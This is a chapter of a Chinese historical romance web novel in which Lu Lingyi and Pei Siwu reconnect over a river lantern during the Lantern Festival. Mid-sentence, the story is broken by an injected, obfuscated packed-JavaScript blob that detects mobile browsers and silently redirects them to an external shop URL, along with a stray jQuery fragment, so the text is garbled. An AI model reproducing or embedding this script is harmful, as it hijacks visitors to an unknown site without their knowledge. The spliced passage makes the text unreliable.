陆令仪的话怎么不算轻声细语?
又怎么不算温柔?
可那一字一句落在裴司午耳中,便是像寒风裹着刀刃般的疼。
他何尝不知,陆令仪背负了为沈家洗净冤屈的责任?
他又何尝不知,若是与陆令仪重归于好,以自己的家室地位,她会受到多少流言蜚语?
可这一切的一切都比不上陆令仪一句“缘分尽了”般令人痛心。
裴司午愿意为陆令仪承担外界的一切闲言碎语,但若是陆令仪不愿,他又能如何?
万家团圆之夜,燕侣莺俦成双成对,独独这边四人面上挂的是强颜欢笑,眼里都是各自的愁容。
即使退一万步来说,家国不平,何谈儿女情长?
裴司午望着前方三人的身影,脚步散漫,不意间撞到街边的小摊贩上。
“不好意思,我来捡。”裴司午蹲下身,将被自己撞倒的河灯一一捡起。
“这位公子,我看你心神不宁,不如这个便送你了,河灯祈愿,很灵的。”卖河灯的老妇人伸手递过来一盏还未点燃的河灯,“在上面写下愿望,来年定能心想事成。”
四张宣纸围成的花灯被放置在裴司午手中,其中两面画了细竹,寥寥几笔却栩栩如生,剩下两面则是空的。
“这怎么好意思……”裴司午刚要从荷包里掏出银两递过去,却被老妇人笑盈盈地推了回来。
“我一看到你就想到我那在远方的儿子,心里生了念想。”老妇人说着,从小摊后方拿出笔墨,“不瞒你说,这京城里,就数我家的河灯最灵。”
裴司午看着老妇人那温和的眼神,也不好再拒绝,伸手接过笔墨:“多谢。”
沾了黑墨的鼻尖在宣纸花灯前静默了一瞬,随即落下一行遒劲有力的字迹。
这边陆令仪与那二人越聊越投机,虽隔了些岁数,却意外地合得来,直至裴司午都消失在了三人视野中,陆令仪这才发觉四人走散了。
“裴小公子应是在那个方位。”禹天逸朝人潮最拥挤的地方指了指,“方才还在的,应是那处人太多,挤散了。”
“这可如何是好,我们回去寻吧?”穆冉面上有些焦急,虽说裴司午不至于会在这种情况下出事,但说好一同来逛元宵灯节的,人走散了算怎么一回事?
“不必,我一人去寻便好。”陆令仪不放心这两个,便吩咐他二人在一旁的茶摊坐着等,“你们在此处待着别乱跑,我带裴司午过来,千万别走了啊。”
陆令仪这边交代好二人,立马又逆着人群走去。
“裴司午!裴司午!”陆令仪双手做喇叭状放至嘴边,一边大声喊着,一边踮脚四处张望,周围的人看出她在找人,也纷纷让出了条小道,让陆令仪能顺顺利利地穿过去。
陆令仪沿着汴河大街走了足足半盏茶的功夫,连小巷中都转了个遍,硬是没瞧见裴司午的半个人影。
本来并未太多担忧的陆令仪,此时也有些慌了。
若是普通的元宵灯节,他这么大一个人,又会武功,定是不会出什么意外,但最近裴司午与她招惹了不少夜兰国那边的事,保不齐对方趁裴司午不注意,使了阴招,那该如何是好?
陆令仪思及此处,便再顾不上许多,她跑出热闹至极的主街,穿过空无一人的黑洞洞小巷,来到护城河的尽头。
此处没什么人来,野草生了半人高,草滩踩上去有些水泛上来的湿滑。
陆令仪并不知晓裴司午在何方,只是漫无目的顺着护城河的尽头一路朝上寻着。
她来的匆忙,没拿上一盏花灯,视野虽受限,但好歹有上游飘下来的河灯在不远处星星点点地亮着。
陆令仪走的离河边近了些,湿草打湿了鞋袜,她却似乎浑然不知。
一盏盏河灯承载着每家每户对来年的愿景,陆令仪寻的累了,脚步便慢了下来,目光不由自主地被上面所写吸引了去。
“愿母亲早日康健,愿来年功成名就。”
“愿双宿双飞。”
……
陆令仪一边念着,一边沿着河岸走,内心里的焦急也被驱散了几分。
是了,裴司午并不是那般愚蠢之人,若是遇见了夜兰人,有了危险,至少会留下些什么线索。现下看来,应是单纯的走散了罢。
“愿,缘能再续,情意犹在。”陆令仪随手捻起一只正巧飘在她脚边的河灯,河灯四四方方,两面画了细竹,一面写了这一行字,另一面则是空白,不知是花灯的主人粗心大意,还是刻意为之。
冬夜的风吹在陆令仪的指尖有些发凉,她略有些僵硬的指尖在宣纸上细细划过。
“应该只是字迹相近罢了。”陆令仪喃喃道。
她极为熟悉裴司午的字,但这字出现在她手边时,陆令仪又不确定了。
一是她无法想象裴司午那人,竟是能安心下来写河灯的脾气;二是她这边还不知人在何处,踪影都寻不到,这边手上却捻着他的河灯,说上去也太招笑了一些。
她刚准备将河灯重新放回河水,却听见身后熟悉的声音:
“陆大小姐原来有这喜好?偷看他人河灯,可真是不光彩。”
那张嘴说起话来,贱嗖嗖的语气,令陆令仪刚刚还存了点的担忧一下便消失不见了。
“哪比得上裴小公爷?一个人跑去放河灯,害的我们几个好找。”
陆令仪不甘示弱,干脆将手中的河灯拎起,回身放入裴司午怀中:“喏!裴小公爷您这河灯还没写完呢,还不谢谢我提醒你?”
裴司午望着怀中的河灯,中间的蜡烛还在燃着,四边的宣纸有些微微发烫。
他在昏黄的灯影里笑了笑:“你怎知这是我写的?”
“你的字我自小看到大,怎会不识?”
裴司午若有所思般点了点头,又说:“另一边我还未想好写些什么,不如你写吧。”
“我?”陆令仪挑了挑眉。
她原本只是觉得这字迹像裴司午的,谁料这一试探还竟成了真,这下再想起灯上所写那一行字,陆令
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720096|185106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仪倒有些不知该如何接话了。
——情意犹在、缘能再续。
她说缘份已尽,他说缘能再续。
“我也没有什么想写的……”陆令仪摇了摇头,“更何况此处连笔墨都无,又能写些什么。”
裴司午环顾一周,从河边石滩上捡了两块小石子,抱着河灯凑近陆令仪身边。
“你瞧瞧这个。”裴司午举起石子,放在河灯透出的光下。
陆令仪垂眸看去,见那不算光滑的青色石子有些眼熟。
“我晓得了!”陆令仪从裴司午手中夺去石子,又四处想寻些什么一般,低头来回探着。
“别找了,就在这河灯上写吧。”裴司午将怀中的河灯递过去,“你乱写画些什么都可以。”
陆令仪小时候曾与裴司午在河滩边捡过这种石子,虽看上去与普通石子别无二致,却可以作笔墨状写写画画、留下印记。
陆令仪犹豫一瞬,还是接过了裴司午递过来的河灯:“那我便随便写些什么了?”
“嗯,你若是嫌恶我,便写‘裴司午是个涎皮赖脸的’,也行。”
“当我是你?”陆令仪一哂,低头琢磨起来。
不一会儿,便见河边才子佳人成双成对。一个坐在大石块上,怀里抱着一盏发光的河灯,手中衔着个什么正一写一画的;另一个则长身而立,垂眸似是看向河灯,实则是看着抱着河灯那人。
二人虽未打闹说笑,这一幕落在远处的穆冉与禹天逸眼里,氛围却是超乎寻常的暧昧和谐。
补好另一面的河灯被陆令仪抱在怀中,沿着河岸向上游一直走。裴司午没讲话,就这样落在后半步的位置。
二人就这样一直走着,谁都不记得还有穆冉与禹天逸俩人还在别处等着。
“你说那河灯上写了些什么?”禹天逸悄悄跟在裴司午与陆令仪身后,压低了声音对身侧的穆冉说道。
“待会儿他们放了,咱们偷偷看去!”穆冉一边说着,一边眼神却不离远处的二人,“你说这裴小公爷忘了我们便也罢了,毕竟是他在茶摊找到了我们,我们给他指了陆姐姐的方位、叫他去寻的。可这陆姐姐怎么能忘了我们呢!”
瞧她那忿忿的模样,禹天逸笑的乐呵呵的:“你陆姐姐现如今哪里还顾得上咱们?我看你就别管了,咱们看完河灯,自己玩自己的去!”
“哼!也是。”穆冉调皮一笑,眼里都是少女的狡黠,“禹天逸,你老实交代,是不是早就这样想着呢?”
禹天逸没接话,只讪讪笑着。
“放了放了!”穆冉伸出食指,指着远处正弯腰在河边放河灯的陆令仪,她拽过禹天逸的衣袖,道,“快,咱们看看去!”
那边二人放了灯,看了一会儿便走了,这边二人立马蹑手蹑脚地凑了近去,将还未飘远的河灯拉了回来。
“愿,缘能再续,情意犹在。”禹天逸读着面向自己的那一边。
穆冉看着自己这边,继续念道:“不求彩凤双飞翼,惟愿春风展君眉。”